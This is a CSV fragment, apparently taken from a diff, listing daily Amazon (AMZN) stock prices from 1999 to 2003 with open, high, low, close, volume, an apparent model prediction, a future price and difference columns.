+1999-08-11,46.1875,47.625,42.59375,45.46875,45.46875,25655000,AMZN,43.543373,59.53125000000001,0.0,-14.062500000000007
+1999-08-12,45.5,47.875,44.6875,45.875,45.875,13140800,AMZN,50.011776,60.0625,14.1875,0.0
+1999-08-23,57.96875,60.25,57.875,59.1875,59.1875,19206000,AMZN,58.164017,66.0,0.0,-6.8125
+1999-08-24,58.0,62.75,57.96875,60.03125,60.03125,25010000,AMZN,61.63448,65.5625,5.53125,0.0
+1999-08-30,63.78125,65.0,58.9375,59.625,59.625,18494400,AMZN,59.57785,62.25,0.0,-2.625
+1999-09-10,65.9375,68.0,64.875,66.5,66.5,12420900,AMZN,72.31109,77.25,10.75,0.0
+1999-09-22,62.875,66.5,60.6875,66.0,66.0,10037500,AMZN,71.847984,79.9375,13.9375,0.0
+1999-09-29,66.5,85.0,65.75,80.75,80.75,79374400,AMZN,78.05824,80.5,0.0,0.25
+1999-10-01,77.0,79.25,76.65625,77.25,77.25,10430300,AMZN,85.55583,78.625,1.375,0.0
+1999-10-04,79.4375,79.75,75.75,77.0625,77.0625,9757400,AMZN,71.59552,82.75,0.0,-5.6875
+1999-10-05,77.125,79.75,74.75,78.4375,78.4375,16420100,AMZN,65.753685,81.25,0.0,-2.8125
+1999-10-13,82.5,85.0,79.5625,79.9375,79.9375,11561800,AMZN,78.52185,65.8125,0.0,14.125
+1999-10-15,75.875,77.0625,73.9375,75.0625,75.0625,12186900,AMZN,81.766205,64.9375,-10.125,0.0
+1999-10-19,77.625,78.25,75.625,76.625,76.625,7780000,AMZN,86.16759,70.8125,-5.8125,0.0
+1999-10-20,78.3125,80.625,76.34375,80.5,80.5,7735500,AMZN,90.47852,72.0,-8.5,0.0
+1999-10-29,72.75,72.8125,69.25,70.625,70.625,9688800,AMZN,76.23517,77.9375,7.3125,0.0
+1999-11-12,73.75,75.0,70.8125,74.9375,74.9375,10319600,AMZN,69.3596,87.75,0.0,-12.8125
+1999-11-19,77.875,78.125,76.0625,77.9375,77.9375,5760600,AMZN,79.97608,102.5,24.5625,0.0
+1999-11-29,95.5,96.875,90.125,90.4375,90.4375,18053700,AMZN,96.2524,97.0,6.5625,0.0
+1999-12-13,106.625,106.625,101.5,102.5,102.5,8653700,AMZN,109.088005,81.9375,-20.5625,0.0
+1999-12-23,98.0,99.0,89.0625,90.0,90.0,12914600,AMZN,97.86925,64.25,-25.75,0.0
+2000-01-03,81.5,89.5625,79.046875,89.375,89.375,16117600,AMZN,89.6996,69.25,-20.125,0.0
+2000-01-13,64.9375,67.1875,63.125,65.9375,65.9375,10448100,AMZN,65.87346,78.5625,0.0,-12.625
+2000-01-14,66.75,68.625,64.0,64.25,64.25,6853600,AMZN,71.95521,75.0,10.75,0.0
+2000-01-21,64.625,64.625,60.0,62.0625,62.0625,11461900,AMZN,65.722176,76.1875,14.125,0.0
+2000-02-17,71.25,71.3125,68.0,69.0,69.0,6129600,AMZN,78.0837,66.875,-2.125,0.0
+2000-02-23,64.875,71.75,64.6875,70.4375,70.4375,8441200,AMZN,79.1455,63.75000000000001,-6.687499999999993,0.0
+2000-02-24,70.5625,71.375,65.625,68.4375,68.4375,5869300,AMZN,81.55264,66.25,-2.1875,0.0
+2000-03-06,62.875,67.25,62.8125,63.9375,63.9375,7665800,AMZN,70.86583,73.125,9.1875,0.0
+2000-03-17,66.0625,66.375,64.5,64.8125,64.8125,5298500,AMZN,72.86325,67.5625,2.75,0.0
+2000-03-24,74.625,75.25,71.3125,72.6875,72.6875,9746000,AMZN,74.34839,46.875,-25.8125,0.0
+2000-03-31,66.75,67.125,63.0,67.0,67.0,5115500,AMZN,74.477234,49.8125,-17.1875,0.0
+2000-04-03,65.4375,65.6875,62.0,63.5625,63.5625,4865400,AMZN,74.387474,52.4375,-11.125,0.0
+2000-04-06,63.4375,65.5,61.875,64.25,64.25,6032700,AMZN,73.29304,55.1875,-9.0625,0.0
+2000-04-26,53.3125,57.4375,52.453125,53.5,53.5,12006400,AMZN,63.713097,60.99999999999999,7.499999999999993,0.0
+2000-04-27,49.3125,55.25,48.5,52.875,52.875,11266000,AMZN,57.721794,55.375,2.5,0.0
+2000-05-01,56.0,60.3125,55.25,59.9375,59.9375,8578500,AMZN,61.447376,51.875,-8.0625,0.0
+2000-05-08,56.8125,59.25,55.4375,56.015625,56.015625,3950000,AMZN,66.496635,51.75,-4.265625,0.0
+2000-05-19,54.625,55.75,52.25,52.625,52.625,4610900,AMZN,56.732403,48.4375,-4.1875,0.0
+2000-05-24,46.4375,49.75,40.4375,48.5625,48.5625,11666600,AMZN,55.354183,46.3125,-2.25,0.0
+2000-05-30,47.3125,51.875,47.3125,51.75,51.75,5613200,AMZN,57.98533,46.125,-5.625,0.0
+2000-06-07,51.875,52.1875,50.125,51.8125,51.8125,3841200,AMZN,51.390472,37.875,0.0,13.9375
+2000-06-12,52.1875,52.1875,47.0,48.4375,48.4375,3986000,AMZN,56.74613,37.0,-11.4375,0.0
+2000-06-14,49.3125,49.875,46.0,46.4375,46.4375,5020500,AMZN,54.88808,36.0625,-10.375,0.0
+2000-07-06,36.875,37.375,34.75,36.0625,36.0625,6767100,AMZN,42.267937,31.375000000000004,-4.6874999999999964,0.0
+2000-07-11,35.1875,35.25,32.625,33.125,33.125,9896500,AMZN,38.66323,30.25,-2.875,0.0
+2000-07-19,41.5,41.5625,39.0,40.875,40.875,4743700,AMZN,40.826065,30.874999999999996,0.0,10.000000000000004
+2000-07-20,40.9375,43.375,39.5,40.3125,40.3125,6945700,AMZN,43.39446,30.4375,-9.875,0.0
+2000-07-25,36.75,38.75,33.25,37.625,37.625,27752500,AMZN,40.132298,37.5625,-0.0625,0.0
+2000-08-17,38.0,39.0625,36.875,38.25,38.25,4974100,AMZN,42.219646,42.9375,4.6875,0.0
+2000-08-22,38.125,38.1875,36.0625,36.5,36.5,3508200,AMZN,42.549828,42.4375,5.9375,0.0
+2000-08-31,43.125,43.1875,41.4375,41.5,41.5,4616300,AMZN,50.56068,41.4375,-0.0625,0.0
+2000-09-21,37.4375,40.5,37.25,40.0625,40.0625,7425600,AMZN,45.95901,25.125,-14.9375,0.0
+2000-09-29,39.0,41.25,37.625,38.4375,38.4375,6517100,AMZN,47.9026,30.812500000000004,-7.6249999999999964,0.0
+2000-10-13,24.25,28.875,23.5,28.4375,28.4375,7633400,AMZN,31.259882,37.5625,9.125,0.0
+2000-11-08,36.0,37.0,33.25,33.875,33.875,5835300,AMZN,42.660873,24.6875,-9.1875,0.0
+2000-11-24,26.421875,29.125,26.0625,28.9375,28.9375,7639300,AMZN,37.19916,22.875,-6.0625,0.0
+2000-12-05,27.125,27.625,24.75,25.375,25.375,9969900,AMZN,30.245033,16.875,-8.5,0.0
+2000-12-06,24.6875,26.0,23.625,23.625,23.625,8825800,AMZN,27.747023,17.375,-6.25,0.0
+2000-12-07,23.0625,23.4375,20.125,21.375,21.375,10647500,AMZN,24.464346,15.5625,-5.8125,0.0
+2000-12-15,22.25,24.25,22.0,22.875,22.875,8713700,AMZN,26.150604,16.375,-6.5,0.0
+2000-12-20,16.1875,17.875,15.625,16.6875,16.6875,22050700,AMZN,20.718616,17.6875,1.0,0.0
+2001-01-16,18.3125,18.375,17.25,18.0625,18.0625,6017000,AMZN,21.299868,15.8125,-2.25,0.0
+2001-01-18,18.375,19.5,17.9375,19.5,19.5,4115800,AMZN,24.773224,14.375,-5.125,0.0
+2001-02-12,14.125,15.0,13.703125,14.5,14.5,5295300,AMZN,19.33729,11.875,-2.625,0.0
+2001-02-14,14.125,14.75,13.5,14.4375,14.4375,8123400,AMZN,21.651669,11.6875,-2.75,0.0
+2001-02-15,13.5,14.625,13.5,14.5,14.5,16384500,AMZN,19.17533,12.25,-2.25,0.0
+2001-02-23,11.875,12.0625,11.0625,11.8125,11.8125,5149900,AMZN,18.593763,11.0,-0.8125,0.0
+2001-03-01,9.875,10.6875,9.59375,10.4375,10.4375,10996700,AMZN,15.424025,10.1875,-0.25,0.0
+2001-03-05,12.375,13.0625,11.5,12.625,12.625,23500700,AMZN,17.515635,10.9399995803833,-1.6850004196166992,0.0
+2001-03-06,13.078125,14.0,11.25,11.875,11.875,23191500,AMZN,16.45213,11.640000343322754,-0.2349996566772461,0.0
+2001-03-08,11.9375,12.0,11.625,11.6875,11.6875,4957600,AMZN,13.858118,10.0,-1.6875,0.0
+2001-03-09,11.4375,12.5,11.375,12.25,12.25,8856700,AMZN,13.813196,10.229999542236328,-2.020000457763672,0.0
+2001-03-16,10.625,11.0625,10.25,11.0,11.0,6984200,AMZN,18.79344,8.369999885559082,-2.630000114440918,0.0
+2001-03-30,10.119999885559082,10.84000015258789,9.90999984741211,10.229999542236328,10.229999542236328,3558400,AMZN,18.035025,16.200000762939453,5.970001220703125,0.0
+2001-04-05,9.020000457763672,9.300000190734863,8.720000267028809,9.119999885559082,9.119999885559082,5424200,AMZN,17.12538,15.270000457763674,6.150000572204592,0.0
+2001-04-10,11.239999771118164,13.5,11.199999809265137,12.010000228881836,12.010000228881836,18860400,AMZN,17.898577,17.110000610351562,5.100000381469727,0.0
+2001-04-12,13.050000190734863,15.010000228881836,13.0,14.670000076293945,14.670000076293945,11530000,AMZN,15.831532,17.559999465942383,2.8899993896484375,0.0
+2001-04-17,13.8100004196167,14.869999885559082,13.75,14.739999771118164,14.739999771118164,5073500,AMZN,16.377802,16.18000030517578,1.4400005340576172,0.0
+2001-04-18,15.65999984741211,18.15999984741211,15.550000190734863,16.540000915527344,16.540000915527344,19555000,AMZN,19.320774,15.010000228881834,-1.5300006866455096,0.0
+2001-05-09,15.550000190734863,15.65999984741211,15.0,15.010000228881836,15.010000228881836,4671000,AMZN,22.10352,16.690000534057617,1.6800003051757812,0.0
+2001-05-14,14.529999732971191,14.529999732971191,13.15999984741211,13.329999923706055,13.329999923706055,6194200,AMZN,22.276318,16.440000534057617,3.1100006103515625,0.0
+2001-05-25,16.649999618530273,17.530000686645508,16.3700008392334,17.09000015258789,17.09000015258789,6928700,AMZN,22.68193,11.829999923706055,-5.260000228881836,0.0
+2001-05-31,15.84000015258789,17.200000762939453,15.75,16.690000534057617,16.690000534057617,9632000,AMZN,20.802412,13.079999923706055,-3.6100006103515625,0.0
+2001-06-15,13.010000228881836,13.460000038146973,12.300000190734863,12.489999771118164,12.489999771118164,7671600,AMZN,20.210535,15.810000419616697,3.3200006484985334,0.0
+2001-06-21,12.680000305175781,13.199999809265137,12.59000015258789,13.079999923706055,13.079999923706055,9777400,AMZN,19.979507,16.979999542236328,3.8999996185302734,0.0
+2001-06-22,13.130000114440918,13.270000457763672,12.380000114440918,12.399999618530273,12.399999618530273,6316700,AMZN,19.465902,16.010000228881836,3.6100006103515625,0.0
+2001-06-25,12.710000038146973,13.140000343322754,12.569999694824219,12.8100004196167,12.8100004196167,6947000,AMZN,18.164427,16.350000381469727,3.5399999618530273,0.0
+2001-06-28,14.229999542236328,14.59000015258789,13.770000457763672,14.359999656677246,14.359999656677246,5516700,AMZN,21.363516,16.979999542236328,2.619999885559082,0.0
+2001-07-03,14.489999771118164,14.5,14.0,14.130000114440918,14.130000114440918,2701100,AMZN,20.762276,11.510000228881836,-2.619999885559082,0.0
+2001-07-16,16.940000534057617,17.420000076293945,16.010000228881836,16.010000228881836,16.010000228881836,7315800,AMZN,23.076235,11.899999618530273,-4.1100006103515625,0.0
+2001-07-17,15.84000015258789,16.489999771118164,15.829999923706055,16.350000381469727,16.350000381469727,3706200,AMZN,22.526754,11.600000381469727,-4.75,0.0
+2001-07-19,16.149999618530273,16.799999237060547,16.139999389648438,16.489999771118164,16.489999771118164,5212800,AMZN,23.857372,10.460000038146973,-6.029999732971191,0.0
+2001-07-23,17.020000457763672,17.1299991607666,15.960000038146973,16.030000686645508,16.030000686645508,8663900,AMZN,23.923914,10.119999885559082,-5.910000801086426,0.0
+2001-07-24,13.619999885559082,14.0,11.899999618530273,12.0600004196167,12.0600004196167,32572900,AMZN,16.192749,10.529999732971191,-1.5300006866455078,0.0
+2001-08-01,12.729999542236328,12.859999656677246,12.170000076293945,12.5,12.5,5510600,AMZN,18.904587,10.199999809265137,-2.3000001907348633,0.0
+2001-08-13,10.100000381469727,10.300000190734863,9.770000457763672,10.119999885559082,10.119999885559082,4831500,AMZN,17.529942,8.59000015258789,-1.5299997329711914,0.0
+2001-08-23,10.130000114440918,10.15999984741211,9.569999694824219,9.630000114440918,9.630000114440918,4000700,AMZN,17.007183,7.480000019073486,-2.1500000953674316,0.0
+2001-08-24,9.84000015258789,10.300000190734863,9.720000267028809,10.229999542236328,10.229999542236328,3779900,AMZN,17.863123,7.480000019073486,-2.749999523162842,0.0
+2001-08-31,8.699999809265137,9.300000190734863,8.6899995803833,8.9399995803833,8.9399995803833,3641600,AMZN,17.022123,5.96999979019165,-2.9699997901916504,0.0
+2001-09-19,7.349999904632568,7.449999809265137,6.639999866485596,7.309999942779541,7.309999942779541,9436500,AMZN,13.398114,7.260000228881836,-0.04999971389770508,0.0
+2001-09-24,7.699999809265137,7.829999923706055,7.340000152587891,7.460000038146973,7.460000038146973,5102700,AMZN,13.11075,8.880000114440918,1.4200000762939453,0.0
+2001-09-25,7.489999771118164,7.570000171661377,7.019999980926514,7.090000152587891,7.090000152587891,4863100,AMZN,12.8974495,9.5600004196167,2.4700002670288086,0.0
+2001-09-26,7.199999809265137,7.230000019073486,6.0,6.349999904632568,6.349999904632568,7839100,AMZN,11.430015,8.920000076293945,2.570000171661377,0.0
+2001-09-27,6.46999979019165,6.639999866485596,5.670000076293945,6.199999809265137,6.199999809265137,8275000,AMZN,11.253429,8.470000267028809,2.270000457763672,0.0
+2001-10-03,6.170000076293945,7.210000038146973,6.019999980926514,6.760000228881836,6.760000228881836,5323500,AMZN,13.300012,7.639999866485596,0.8799996376037598,0.0
+2001-10-05,6.96999979019165,7.900000095367432,6.739999771118164,7.199999809265137,7.199999809265137,5900900,AMZN,14.13633,7.559999942779541,0.3600001335144043,0.0
+2001-10-31,6.789999961853027,7.019999980926514,6.550000190734863,6.980000019073486,6.980000019073486,7741500,AMZN,12.137878,8.800000190734863,1.820000171661377,0.0
+2001-11-13,7.440000057220459,7.53000020980835,7.199999809265137,7.289999961853027,7.289999961853027,6136300,AMZN,13.467023,11.760000228881836,4.470000267028809,0.0
+2001-11-21,8.739999771118164,8.970000267028809,8.039999961853027,8.800000190734863,8.800000190734863,8996600,AMZN,11.257743,10.890000343322754,2.0900001525878906,0.0
+2001-11-26,9.829999923706055,12.220000267028809,9.800000190734863,12.210000038146973,12.210000038146973,50689200,AMZN,15.6533165,10.8100004196167,-1.3999996185302734,0.0
+2001-11-27,12.050000190734863,12.25,11.220000267028809,11.479999542236328,11.479999542236328,34308800,AMZN,16.031576,10.859999656677246,-0.619999885559082,0.0
+2001-11-28,11.239999771118164,12.399999618530273,11.180000305175781,11.59000015258789,11.59000015258789,48516200,AMZN,13.877213,10.710000038146973,-0.880000114440918,0.0
+2001-11-29,11.890000343322754,11.899999618530273,10.789999961853027,11.149999618530273,11.149999618530273,20274000,AMZN,11.602812,10.149999618530273,-1.0,0.0
+2001-12-12,12.430000305175781,12.430000305175781,11.630000114440918,11.90999984741211,11.90999984741211,8075100,AMZN,17.433311,12.25,0.3400001525878906,0.0
+2001-12-13,11.539999961853027,11.800000190734863,10.850000381469727,10.890000343322754,10.890000343322754,7874100,AMZN,17.108074,12.34000015258789,1.4499998092651367,0.0
+2001-12-28,10.90999984741211,11.079999923706055,10.6899995803833,10.899999618530273,10.899999618530273,10257900,AMZN,16.340717,12.600000381469727,1.7000007629394531,0.0
+2002-01-02,10.930000305175781,11.0,10.479999542236328,10.960000038146973,10.960000038146973,6519600,AMZN,16.396896,14.010000228881838,3.050000190734865,0.0
+2002-01-03,11.130000114440918,11.9399995803833,11.050000190734863,11.899999618530273,11.899999618530273,10875700,AMZN,17.570498,14.4399995803833,2.5399999618530273,0.0
+2002-01-09,11.960000038146973,12.170000076293945,11.300000190734863,11.529999732971191,11.529999732971191,10879600,AMZN,15.512816,14.1899995803833,2.6599998474121094,0.0
+2002-01-18,9.600000381469727,10.550000190734863,9.390000343322754,10.15999984741211,10.15999984741211,11493500,AMZN,16.388796,13.300000190734863,3.140000343322754,0.0
+2002-02-01,14.069999694824219,14.09000015258789,13.350000381469727,13.729999542236328,13.729999542236328,7801400,AMZN,16.256502,13.729999542236328,0.0,0.0
+2002-02-13,13.100000381469727,13.329999923706055,13.0600004196167,13.289999961853027,13.289999961853027,6040800,AMZN,19.943527,15.619999885559082,2.3299999237060547,0.0
+2002-02-25,13.09000015258789,13.739999771118164,13.0,13.729999542236328,13.729999542236328,5734700,AMZN,21.292818,15.010000228881834,1.280000686645506,0.0
+2002-02-26,13.510000228881836,14.489999771118164,13.449999809265137,14.399999618530273,14.399999618530273,8310500,AMZN,21.570242,14.65999984741211,0.26000022888183594,0.0
+2002-02-28,14.289999961853027,14.75,13.930000305175781,14.100000381469727,14.100000381469727,6052400,AMZN,21.478031,15.170000076293944,1.069999694824217,0.0
+2002-03-06,14.819999694824219,16.59000015258789,14.819999694824219,16.329999923706055,16.329999923706055,14262700,AMZN,19.734224,14.250000000000002,-2.079999923706053,0.0
+2002-03-11,16.040000915527344,16.8799991607666,15.859999656677246,16.709999084472656,16.709999084472656,6624700,AMZN,21.549095,14.250000000000002,-2.4599990844726545,0.0
+2002-03-15,14.270000457763672,14.289999961853027,13.550000190734863,14.029999732971191,14.029999732971191,12320700,AMZN,19.303888,13.949999809265137,-0.07999992370605469,0.0
+2002-03-28,14.399999618530273,14.649999618530273,14.25,14.300000190734863,14.300000190734863,3122500,AMZN,21.766815,14.52999973297119,0.22999954223632635,0.0
+2002-04-02,14.640000343322754,15.09000015258789,14.1899995803833,14.25,14.25,4771400,AMZN,22.420183,14.0600004196167,-0.18999958038330078,0.0
+2002-04-08,12.970000267028809,13.960000038146973,12.960000038146973,13.949999809265137,13.949999809265137,5277800,AMZN,21.94482,16.18000030517578,2.2300004959106445,0.0
+2002-04-09,14.069999694824219,14.59000015258789,13.5600004196167,13.600000381469727,13.600000381469727,6459000,AMZN,21.791117,16.690000534057617,3.0900001525878906,0.0
+2002-04-10,13.760000228881836,14.0,13.050000190734863,13.479999542236328,13.479999542236328,5256700,AMZN,20.960007,16.489999771118164,3.010000228881836,0.0
+2002-04-25,16.510000228881836,17.049999237060547,16.40999984741211,16.81999969482422,16.81999969482422,11730200,AMZN,22.487356,19.610000610351562,2.7900009155273438,0.0
+2002-04-30,16.1299991607666,16.760000228881836,15.930000305175781,16.690000534057617,16.690000534057617,6420800,AMZN,17.327477,18.760000228881836,2.0699996948242188,0.0
+2002-05-01,16.549999237060547,17.049999237060547,16.420000076293945,16.489999771118164,16.489999771118164,7701300,AMZN,20.854067,18.75,2.260000228881836,0.0
+2002-05-03,16.229999542236328,16.399999618530273,15.75,16.049999237060547,16.049999237060547,5161000,AMZN,22.908276,19.469999313354492,3.4200000762939453,0.0
+2002-05-09,17.1200008392334,18.229999542236328,17.100000381469727,17.729999542236328,17.729999542236328,11002300,AMZN,24.438202,18.229999542236328,0.5,0.0
+2002-05-13,17.170000076293945,17.6299991607666,16.850000381469727,17.31999969482422,17.31999969482422,6700100,AMZN,21.928513,17.969999313354492,0.6499996185302734,0.0
+2002-05-29,18.81999969482422,19.100000381469727,18.799999237060547,18.90999984741211,18.90999984741211,3614100,AMZN,26.278112,18.299999237060547,-0.6100006103515625,0.0
+2002-06-03,18.309999465942383,18.5,17.93000030517578,17.959999084472656,17.959999084472656,3716400,AMZN,26.289263,17.510000228881836,-0.4499988555908203,0.0
+2002-06-05,17.979999542236328,18.18000030517578,17.450000762939453,17.989999771118164,17.989999771118164,4372500,AMZN,25.191462,15.850000381469727,-2.1399993896484375,0.0
+2002-06-20,18.31999969482422,18.3799991607666,17.34000015258789,17.549999237060547,17.549999237060547,8697000,AMZN,22.173532,15.430000305175783,-2.119998931884764,0.0
+2002-06-25,16.889999389648438,16.950000762939453,15.039999961853027,15.34000015258789,15.34000015258789,15304000,AMZN,20.938704,16.15999984741211,0.8199996948242188,0.0
+2002-06-28,15.6899995803833,16.360000610351562,15.399999618530273,16.25,16.25,6237900,AMZN,22.7824,15.500000000000002,-0.7499999999999982,0.0
+2002-07-02,13.600000381469727,14.15999984741211,13.0,13.319999694824219,13.319999694824219,8669900,AMZN,17.617998,14.100000381469728,0.7800006866455096,0.0
+2002-07-08,14.949999809265137,15.850000381469727,14.680000305175781,14.9399995803833,14.9399995803833,5890000,AMZN,22.400772,14.329999923706055,-0.6099996566772461,0.0
+2002-07-18,15.920000076293945,16.59000015258789,15.529999732971191,15.550000190734863,15.550000190734863,6856700,AMZN,21.601118,13.899999618530272,-1.6500005722045916,0.0
+2002-07-31,14.449999809265137,14.65999984741211,14.140000343322754,14.449999809265137,14.449999809265137,3801000,AMZN,21.015133,15.380000114440918,0.9300003051757812,0.0
+2002-08-08,13.239999771118164,14.100000381469727,13.0600004196167,13.899999618530273,13.899999618530273,5470800,AMZN,21.176779,15.140000343322754,1.2400007247924805,0.0
+2002-08-12,14.140000343322754,14.489999771118164,13.949999809265137,14.460000038146973,14.460000038146973,3503300,AMZN,21.899004,14.600000381469727,0.1400003433227539,0.0
+2002-08-16,14.390000343322754,15.010000228881836,14.3100004196167,14.899999618530273,14.899999618530273,3652100,AMZN,23.115843,16.510000228881836,1.6100006103515625,0.0
+2002-08-19,14.84000015258789,15.520000457763672,14.670000076293945,15.5,15.5,4277100,AMZN,23.117842,17.1299991607666,1.6299991607666016,0.0
+2002-08-22,15.329999923706055,15.949999809265137,14.920000076293945,15.729999542236328,15.729999542236328,6854100,AMZN,22.048393,16.610000610351562,0.8800010681152344,0.0
+2002-09-05,14.579999923706055,14.720000267028809,14.239999771118164,14.25,14.25,5320200,AMZN,21.472666,17.149999618530273,2.8999996185302734,0.0
+2002-09-10,16.530000686645508,17.350000381469727,16.420000076293945,17.1299991607666,17.1299991607666,11248800,AMZN,23.477165,16.950000762939453,-0.17999839782714844,0.0
+2002-09-12,16.829999923706055,17.1299991607666,16.610000610351562,16.75,16.75,7065100,AMZN,21.33022,16.75,0.0,0.0
+2002-09-13,16.690000534057617,16.989999771118164,16.5,16.610000610351562,16.610000610351562,3654900,AMZN,21.162262,16.549999237060547,-0.060001373291015625,0.0
+2002-09-20,17.450000762939453,17.639999389648438,15.449999809265137,15.859999656677246,15.859999656677246,12605600,AMZN,21.580078,18.459999084472656,2.59999942779541,0.0
+2002-09-24,15.869999885559082,16.3700008392334,15.600000381469727,15.930000305175781,15.930000305175781,7072900,AMZN,22.007101,18.940000534057617,3.010000228881836,0.0
+2002-10-10,17.15999984741211,17.969999313354492,17.149999618530273,17.959999084472656,17.959999084472656,10528600,AMZN,23.92465,19.360000610351562,1.4000015258789062,0.0
+2002-10-11,18.18000030517578,18.739999771118164,18.100000381469727,18.459999084472656,18.459999084472656,9628500,AMZN,24.684011,19.799999237060547,1.3400001525878906,0.0
+2002-10-23,19.520000457763672,19.81999969482422,19.3700008392334,19.75,19.75,6648100,AMZN,25.711273,20.40999984741211,0.6599998474121094,0.0
+2002-10-25,18.84000015258789,19.360000610351562,18.479999542236328,19.299999237060547,19.299999237060547,15900000,AMZN,23.728024,22.209999084472656,2.9099998474121094,0.0
+2002-10-29,18.510000228881836,18.920000076293945,18.06999969482422,18.56999969482422,18.56999969482422,7242000,AMZN,23.595625,21.290000915527344,2.720001220703125,0.0
+2002-11-20,21.350000381469727,23.0,21.219999313354492,22.899999618530273,22.899999618530273,13294400,AMZN,23.955896,22.299999237060547,-0.6000003814697266,0.0
+2002-11-21,23.329999923706055,23.850000381469727,23.209999084472656,23.399999618530273,23.399999618530273,11288500,AMZN,26.44065,22.18000030517578,-1.2199993133544922,0.0
+2002-12-05,23.65999984741211,23.68000030517578,22.200000762939453,22.579999923706055,22.579999923706055,10642600,AMZN,28.600119,18.860000610351562,-3.719999313354492,0.0
+2002-12-13,21.950000762939453,22.350000381469727,21.8700008392334,22.18000030517578,22.18000030517578,3859200,AMZN,29.87319,21.549999237060547,-0.6300010681152344,0.0
+2002-12-18,22.25,22.260000228881836,21.979999542236328,22.100000381469727,22.100000381469727,3992800,AMZN,30.198217,21.31999969482422,-0.7800006866455078,0.0
+2002-12-24,22.18000030517578,22.280000686645508,21.8799991607666,21.8799991607666,21.8799991607666,2348600,AMZN,30.200953,21.799999237060547,-0.07999992370605469,0.0
+2003-01-03,19.59000015258789,20.530000686645508,19.40999984741211,20.520000457763672,20.520000457763672,8757000,AMZN,24.350094,21.780000686645508,1.260000228881836,0.0
+2003-01-10,20.959999084472656,21.65999984741211,20.809999465942383,21.31999969482422,21.31999969482422,7579300,AMZN,25.645416,22.15999984741211,0.8400001525878906,0.0
+2003-02-03,21.940000534057617,22.440000534057617,21.81999969482422,22.15999984741211,22.15999984741211,5195500,AMZN,28.94382,21.8799991607666,-0.2800006866455078,0.0
+2003-02-14,19.989999771118164,20.229999542236328,19.709999084472656,20.059999465942383,20.059999465942383,6625300,AMZN,25.881231,22.8799991607666,2.8199996948242188,0.0
+2003-02-21,21.350000381469727,21.829999923706055,21.040000915527344,21.780000686645508,21.780000686645508,7207800,AMZN,27.310793,24.709999084472656,2.9299983978271484,0.0
+2003-03-07,22.31999969482422,23.040000915527344,22.260000228881836,22.969999313354492,22.969999313354492,5848400,AMZN,29.70297,27.18000030517578,4.210000991821289,0.0
+2003-03-11,22.75,22.920000076293945,22.510000228881836,22.780000686645508,22.780000686645508,4034100,AMZN,29.641901,25.540000915527344,2.760000228881836,0.0
+2003-03-12,22.510000228881836,23.3799991607666,22.489999771118164,23.360000610351562,23.360000610351562,5573100,AMZN,29.786871,26.3799991607666,3.019998550415039,0.0
+2003-03-20,26.34000015258789,27.6299991607666,26.1299991607666,27.450000762939453,27.450000762939453,9376200,AMZN,29.90186,25.670000076293945,-1.7800006866455078,0.0
+2003-03-25,26.25,27.09000015258789,26.209999084472656,26.899999618530273,26.899999618530273,7213200,AMZN,30.980145,25.1299991607666,-1.7700004577636719,0.0
+2003-04-08,26.790000915527344,26.799999237060547,26.450000762939453,26.520000457763672,26.520000457763672,5403600,AMZN,32.77792,28.690000534057617,2.1700000762939453,0.0
+2003-04-09,26.350000381469727,26.3700008392334,24.84000015258789,25.059999465942383,25.059999465942383,11958900,AMZN,30.981724,28.65999984741211,3.6000003814697266,0.0
+2003-04-14,24.799999237060547,25.149999618530273,24.5,25.049999237060547,25.049999237060547,10417100,AMZN,30.766687,30.8799991607666,5.829999923706055,0.0
+2003-04-17,24.469999313354492,25.010000228881836,24.350000381469727,24.989999771118164,24.989999771118164,6789900,AMZN,30.982407,30.95999908447266,5.969999313354496,0.0
+2003-04-21,25.030000686645508,26.170000076293945,24.899999618530273,25.25,25.25,7132300,AMZN,31.991207,31.700000762939453,6.450000762939453,0.0
+2003-04-23,26.399999618530273,26.549999237060547,25.360000610351562,25.43000030517578,25.43000030517578,8850100,AMZN,31.634933,32.599998474121094,7.1699981689453125,0.0
+2003-04-30,28.600000381469727,29.0,28.3799991607666,28.690000534057617,28.690000534057617,9450000,AMZN,26.911177,31.749999999999996,0.0,-3.0599994659423793
+2003-05-06,29.8700008392334,31.18000030517578,29.799999237060547,30.8799991607666,30.8799991607666,13962400,AMZN,35.909943,34.86000061035156,3.980001449584961,0.0
+2003-05-12,30.829999923706055,31.799999237060547,30.670000076293945,31.700000762939453,31.700000762939453,7246900,AMZN,36.06943,35.22999954223633,3.529998779296875,0.0
+2003-06-05,35.15999984741211,35.84000015258789,34.61000061035156,35.52000045776367,35.52000045776367,7193700,AMZN,40.826694,36.720001220703125,1.2000007629394531,0.0
+2003-06-16,34.56999969482422,35.849998474121094,34.08000183105469,35.84000015258789,35.84000015258789,7127900,AMZN,39.958607,40.5099983215332,4.6699981689453125,0.0
+2003-06-25,35.29999923706055,36.130001068115234,35.150001525878906,35.38999938964844,35.38999938964844,6659000,AMZN,41.98741,36.31999969482422,0.9300003051757812,0.0
+2003-07-08,38.7599983215332,40.83000183105469,38.75,40.5099983215332,40.5099983215332,12145400,AMZN,45.483753,41.38999938964844,0.8800010681152344,0.0
+2003-07-16,38.52000045776367,38.52000045776367,37.31999969482422,37.68000030517578,37.68000030517578,5625600,AMZN,43.906116,38.939998626708984,1.2599983215332031,0.0
+2003-07-18,36.31999969482422,36.849998474121094,34.790000915527344,34.97999954223633,34.97999954223633,13402900,AMZN,39.891804,39.150001525878906,4.170001983642578,0.0
+2003-07-30,41.150001525878906,41.27000045776367,40.45000076293945,40.65999984741211,40.65999984741211,7166300,AMZN,41.77248,43.7599983215332,3.0999984741210938,0.0
+2003-08-07,39.0,39.34000015258789,38.59000015258789,39.0099983215332,39.0099983215332,6395500,AMZN,46.00651,45.939998626708984,6.930000305175781,0.0
+2003-08-08,39.130001068115234,39.400001525878906,38.630001068115234,39.150001525878906,39.150001525878906,4810900,AMZN,46.244534,46.31999969482422,7.1699981689453125,0.0
+2003-08-12,38.95000076293945,39.959999084472656,38.310001373291016,39.849998474121094,39.849998474121094,6128500,AMZN,45.6879,46.189998626708984,6.340000152587891,0.0
+2003-08-18,40.47999954223633,43.2400016784668,40.380001068115234,43.02000045776367,43.02000045776367,11174200,AMZN,48.207794,46.68000030517578,3.6599998474121094,0.0
+2003-08-19,43.45000076293945,44.189998626708984,42.91999816894531,43.56999969482422,43.56999969482422,10489300,AMZN,50.98202,46.220001220703125,2.6500015258789062,0.0
+2003-09-05,46.95000076293945,47.47999954223633,46.099998474121094,46.52000045776367,46.52000045776367,8102900,AMZN,51.46964,48.560001373291016,2.0400009155273438,0.0
